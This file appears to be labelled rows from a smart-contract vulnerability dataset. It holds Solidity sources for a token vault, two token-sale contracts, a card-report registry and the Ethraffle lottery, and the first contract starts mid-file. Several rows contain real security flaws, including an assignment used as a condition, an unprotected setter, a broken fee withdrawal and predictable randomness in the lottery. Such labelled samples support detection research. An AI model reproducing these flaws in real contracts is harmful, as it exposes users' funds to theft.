mapping(address => bool) public contractaddress;
uint256 public percent = 1200;
uint256 private constant affiliate = 12;
uint256 private constant cashback = 16;
uint256 private constant totalreceive = 88;
uint256 private constant seconds30days = 2592000;
struct Safe {
uint256 id;
uint256 amount;
uint256 endtime;
address user;
address tokenAddress;
string tokenSymbol;
uint256 amountbalance;
uint256 cashbackbalance;
uint256 lasttime;
uint256 percentage;
uint256 percentagereceive;
uint256 tokenreceive;
uint256 affiliatebalance;
address referrer;
}
mapping(address => uint256[]) public _userSafes;
mapping(address => uint256) public _totalSaved;
mapping(uint256 => Safe) private _safes;
uint256 private _currentIndex;
uint256 public _countSafes;
uint256 public hodlingTime;
uint256 public allTimeHighPrice;
uint256 public comission;
mapping(address => uint256) private _systemReserves;
address[] public _listedReserves;
constructor() public {
AXPRtoken = 0xC39E626A04C5971D770e319760D7926502975e47;
hodlingTime = 730 days;
_currentIndex = 500;
comission = 12;
}
function () public payable {
require(msg.value > 0);
_systemReserves[0x0] = add(_systemReserves[0x0], msg.value);
}
function HodlTokens(address tokenAddress, uint256 amount) public contractActive {
require(tokenAddress != 0x0);
require(amount > 0);
if (contractaddress[tokenAddress] = false) {
revert();
}
else {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 affiliatecomission = mul(amount, affiliate) / 100;
uint256 nocashback = mul(amount, 28) / 100;
if (cashbackcode[msg.sender] == 0 ) {
uint256 data_amountbalance = mul(amount, 72) / 100;
uint256 data_cashbackbalance = 0;
address data_referrer = superOwner;
cashbackcode[msg.sender] = superOwner;
emit onCashbackCode(msg.sender, superOwner);
_systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], nocashback);
} else {
data_amountbalance = sub(amount, affiliatecomission);
data_cashbackbalance = mul(amount, cashback) / 100;
data_referrer = cashbackcode[msg.sender];
_systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], affiliatecomission); }
_userSafes[msg.sender].push(_currentIndex);
_safes[_currentIndex] =
Safe(
_currentIndex, amount, now + hodlingTime, msg.sender, tokenAddress, token.symbol(), data_amountbalance, data_cashbackbalance, now, percent, 0, 0, 0, data_referrer);
_totalSaved[tokenAddress] = add(_totalSaved[tokenAddress], amount);
_currentIndex++;
_countSafes++;
emit onHodlTokens(msg.sender, tokenAddress, token.symbol(), amount, now + hodlingTime);
}
}
function ClaimTokens(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
if (s.amountbalance == 0) {
revert();
}
else {
RetireHodl(tokenAddress, id);
}
}
function RetireHodl(address tokenAddress, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == tokenAddress);
uint256 eventAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
if(s.endtime < now)
{
PayToken(s.user, s.tokenAddress, s.amountbalance);
eventAmount = s.amountbalance;
_totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], s.amountbalance);
s.amountbalance = 0;
emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
}
else
{
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = s.amount * s.percentage / 100 * timeframe / seconds30days ;
uint256 MaxWithdraw = mul(s.amount, 10);
if (CalculateWithdraw > MaxWithdraw) {
uint256 MaxAccumulation = MaxWithdraw;
} else { MaxAccumulation = CalculateWithdraw; }
if (MaxAccumulation > s.amountbalance) {
uint256 realAmount = s.amountbalance;
} else { realAmount = MaxAccumulation; }
uint256 newamountbalance = sub(s.amountbalance, realAmount);
UpdateUserData(tokenAddress, id, newamountbalance, realAmount);
}
}
function UpdateUserData(address tokenAddress, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == tokenAddress);
uint256 eventAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
s.amountbalance = newamountbalance;
s.lasttime = now;
uint256 tokenaffiliate = mul(s.amount, affiliate) / 100 ;
uint256 tokenreceived = s.amount - tokenaffiliate - newamountbalance;
uint256 percentagereceived = tokenreceived / s.amount * 100000000000000000000;
s.tokenreceive = tokenreceived;
s.percentagereceive = percentagereceived;
_totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], realAmount);
PayToken(s.user, s.tokenAddress, realAmount);
eventAmount = realAmount;
emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
}
function GetUserSafesLength(address hodler) public view returns (uint256 length) {
return _userSafes[hodler].length;
}
function GetSafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive, address referrer)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive, s.referrer);
}
function GetTokenFees(address tokenAddress) public view returns (uint256 amount) {
return _systemReserves[tokenAddress];
}
function GetContractBalance() public view returns(uint256)
{
return address(this).balance;
}
function CashbackCode(address _cashbackcode) public {
if (cashbackcode[msg.sender] == 0) {
cashbackcode[msg.sender] = _cashbackcode;
emit onCashbackCode(msg.sender, _cashbackcode);
}
}
function StoreComission(address tokenAddress, uint256 amount) private {
_systemReserves[tokenAddress] = add(_systemReserves[tokenAddress], amount);
bool isNew = true;
for(uint256 i = 0; i < _listedReserves.length; i++) {
if(_listedReserves[i] == tokenAddress) {
isNew = false;
break;
}
}
if(isNew) _listedReserves.push(tokenAddress);
}
function DeleteSafe(Safe s) private {
_totalSaved[s.tokenAddress] = sub(_totalSaved[s.tokenAddress], s.amount);
delete _safes[s.id];
uint256[] storage vector = _userSafes[msg.sender];
uint256 size = vector.length;
for(uint256 i = 0; i < size; i++) {
if(vector[i] == s.id) {
vector[i] = vector[size-1];
vector.length--;
break;
}
}
}
function storeProfileHashed(string _profileHashed) public {
profileHashed[msg.sender] = _profileHashed;
emit onStoreProfileHash(msg.sender, _profileHashed);
}
function GetHodlTokensBalance(address tokenAddress) public view returns (uint256 balance) {
require(tokenAddress != 0x0);
for(uint256 i = 1; i < _currentIndex; i++) {
Safe storage s = _safes[i];
if(s.user == msg.sender && s.tokenAddress == tokenAddress)
balance += s.amount;
}
return balance;
}
function ContractAddress(address _contractaddress, bool status) public {
contractaddress[_contractaddress] = status;
}
function AddContractAddress(address tokenAddress, bool contractstatus) public onlyOwner {
contractaddress[tokenAddress] = contractstatus;
}
function OwnerRetireHodl(address tokenAddress, uint256 id) public onlyOwner {
require(tokenAddress != 0x0);
require(id != 0);
RetireHodl(tokenAddress, id);
}
function ChangeHodlingTime(uint256 newHodlingDays) onlyOwner public {
require(newHodlingDays >= 60);
hodlingTime = newHodlingDays * 1 days;
}
function ChangeAllTimeHighPrice(uint256 newAllTimeHighPrice) onlyOwner public {
require(newAllTimeHighPrice > allTimeHighPrice);
allTimeHighPrice = newAllTimeHighPrice;
}
function ChangeComission(uint256 newComission) onlyOwner public {
require(newComission <= 30);
comission = newComission;
}
function WithdrawEth(uint256 amount) onlyOwner public {
require(amount > 0);
require(address(this).balance >= amount);
msg.sender.transfer(amount);
}
function WithdrawTokenFees(address tokenAddress) onlyOwner public {
require(_systemReserves[tokenAddress] > 0);
uint256 amount = _systemReserves[tokenAddress];
_systemReserves[tokenAddress] = 0;
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
}
function WithdrawAllFees() onlyOwner public {
uint256 x = _systemReserves[0x0];
if(x > 0 && x <= address(this).balance) {
_systemReserves[0x0] = 0;
msg.sender.transfer(_systemReserves[0x0]);
}
address ta;
ERC20Interface token;
for(uint256 i = 0; i < _listedReserves.length; i++) {
ta = _listedReserves[i];
if(_systemReserves[ta] > 0)
{
x = _systemReserves[ta];
_systemReserves[ta] = 0;
token = ERC20Interface(ta);
token.transfer(msg.sender, x);
}
}
_listedReserves.length = 0;
}
function GetTokensAddressesWithFees()
onlyOwner public view
returns (address[], string[], uint256[])
{
uint256 length = _listedReserves.length;
address[] memory tokenAddress = new address[](length);
string[] memory tokenSymbol = new string[](length);
uint256[] memory tokenFees = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
tokenAddress[i] = _listedReserves[i];
ERC20Interface token = ERC20Interface(tokenAddress[i]);
tokenSymbol[i] = token.symbol();
tokenFees[i] = GetTokenFees(tokenAddress[i]);
}
return (tokenAddress, tokenSymbol, tokenFees);
}
function ReturnAllTokens(bool onlyAXPR) onlyOwner public
{
uint256 returned;
for(uint256 i = 1; i < _currentIndex; i++) {
Safe storage s = _safes[i];
if (s.id != 0) {
if (
(onlyAXPR && s.tokenAddress == AXPRtoken) ||
!onlyAXPR
)
{
PayToken(s.user, s.tokenAddress, s.amountbalance);
_countSafes--;
returned++;
}
}
}
emit onReturnAll(returned);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 4,131 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PrimeSystems is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Prime Systems Token";
string public constant symbol = "PRIME";
uint public constant decimals = 8;
uint public deadline = now + 13 * 1 days;
uint public round2 = now + 8 * 1 days;
uint public round1 = now + 19 * 1 days;
uint256 public totalSupply = 15000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 1000;
uint256 public tokensPerEth = 15500000e8;
uint public target0drop = 30000;
uint public progress0drop = 0;
address multisig = 0x8F4091071B52CeAf3676b471A24A329dFDC9f86d;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 10000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether;
uint256 bonusCond2 = 3 ether;
uint256 bonusCond3 = 5 ether;
uint256 bonusCond4 = 7 ether;
uint256 bonusCond5 = 9 ether;
uint256 bonusCond6 = 11 ether;
uint256 bonusCond7 = 13 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 1 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 3 / 100;
}else if(msg.value >= bonusCond3 && msg.value < bonusCond4){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond4 && msg.value < bonusCond5){
countbonus = tokens * 7 / 100;
}else if(msg.value >= bonusCond5 && msg.value < bonusCond6){
countbonus = tokens * 9 / 100;
}else if(msg.value >= bonusCond6 && msg.value < bonusCond7){
countbonus = tokens * 11 / 100;
}else if(msg.value >= bonusCond7){
countbonus = tokens * 13 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 1 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 3 / 100;
}else if(msg.value >= bonusCond3 && msg.value < bonusCond4){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond4 && msg.value < bonusCond5){
countbonus = tokens * 7 / 100;
}else if(msg.value >= bonusCond5 && msg.value < bonusCond6){
countbonus = tokens * 9 / 100;
}else if(msg.value >= bonusCond6 && msg.value < bonusCond7){
countbonus = tokens * 11 / 100;
}else if(msg.value >= bonusCond7){
countbonus = tokens * 13 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 1000e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success)
{
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public
returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 2,950 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AllyICO is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
address _tokenContract = 0x34A0263cEC3d616677df10962e24f97EF283891a;
AltcoinToken cddtoken = AltcoinToken(_tokenContract);
string public constant name = "AllyICO";
string public constant symbol = "ICO";
uint public constant decimals = 8;
uint256 public totalSupply = 12000000000e8;
uint256 public totalDistributed = 0;
uint256 public tokensPerEth = 20000000e8;
uint256 public constant minContribution = 1 ether / 100;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event TokensPerEthUpdated(uint _tokensPerEth);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function AllyICO () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
sendTokens();
}
function sendTokens() private returns (bool) {
uint256 tokens = 0;
require( msg.value >= minContribution );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
sendICO(cddtoken, tokens, investor);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) {
AltcoinToken anytoken = AltcoinToken(anycontract);
uint256 amount = anytoken.balanceOf(address(this));
return anytoken.transfer(owner, amount);
}
function sendICO(address contrato, uint256 amount, address who) private returns (bool) {
AltcoinToken alttoken = AltcoinToken(contrato);
return alttoken.transfer(who, amount);
}
} | 0 | 524 |
pragma solidity ^0.4.25;
contract VIC {
event CardsAdded(
address indexed user,
uint160 indexed root,
uint32 count
);
event CardCompromised(
address indexed user,
uint160 indexed root,
uint32 index
);
function publish(uint160 root, uint32 count) public {
_publish(msg.sender, root, count);
}
function publishBySignature(address user, uint160 root, uint32 count, bytes32 r, bytes32 s, uint8 v) public {
bytes32 messageHash = keccak256(abi.encodePacked(root, count));
require(user == ecrecover(messageHash, 27 + v, r, s), "Invalid signature");
_publish(user, root, count);
}
function report(uint160 root, uint32 index) public {
_report(msg.sender, root, index);
}
function reportBySignature(address user, uint160 root, uint32 index, bytes32 r, bytes32 s, uint8 v) public {
bytes32 messageHash = keccak256(abi.encodePacked(root, index));
require(user == ecrecover(messageHash, 27 + v, r, s), "Invalid signature");
_report(user, root, index);
}
function _publish(address user, uint160 root, uint32 count) public {
emit CardsAdded(user, root, count);
}
function _report(address user, uint160 root, uint32 index) public {
emit CardCompromised(user, root, index);
}
} | 0 | 2,455 |
pragma solidity ^0.4.15;
contract Ethraffle {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint indexed raffleId,
uint winningNumber,
address winningAddress,
uint remainingGas,
uint gasPrice,
bytes32 sha
);
event TicketPurchase(
uint indexed raffleId,
address contestant,
uint number
);
event TicketRefund(
uint indexed raffleId,
address contestant,
uint number
);
address public rakeAddress;
uint constant public prize = 0.1 ether;
uint constant public rake = 0.02 ether;
uint constant public totalTickets = 6;
uint constant public pricePerTicket = (prize + rake) / totalTickets;
uint public raffleId = 1;
uint public nextTicket = 1;
mapping (uint => Contestant) public contestants;
uint[] public gaps;
bool public paused = false;
function Ethraffle() public {
rakeAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket <= totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket > totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
uint remainingGas = msg.gas;
uint gasPrice = tx.gasprice;
bytes32 sha = sha3(
block.coinbase,
msg.sender,
remainingGas,
gasPrice
);
uint winningNumber = (uint(sha) % totalTickets) + 1;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(
raffleId,
winningNumber,
winningAddress,
remainingGas,
gasPrice,
sha
);
raffleId++;
nextTicket = 1;
winningAddress.transfer(prize);
rakeAddress.transfer(rake);
}
function getRefund() public {
uint refunds = 0;
for (uint i = 1; i <= totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refunds++;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refunds > 0) {
msg.sender.transfer(refunds * pricePerTicket);
}
}
function endRaffle() public {
if (msg.sender == rakeAddress) {
paused = true;
for (uint i = 1; i <= totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, 0, address(0), 0, 0, 0);
raffleId++;
nextTicket = 1;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == rakeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == rakeAddress) {
selfdestruct(rakeAddress);
}
}
} | 1 | 5,016 |
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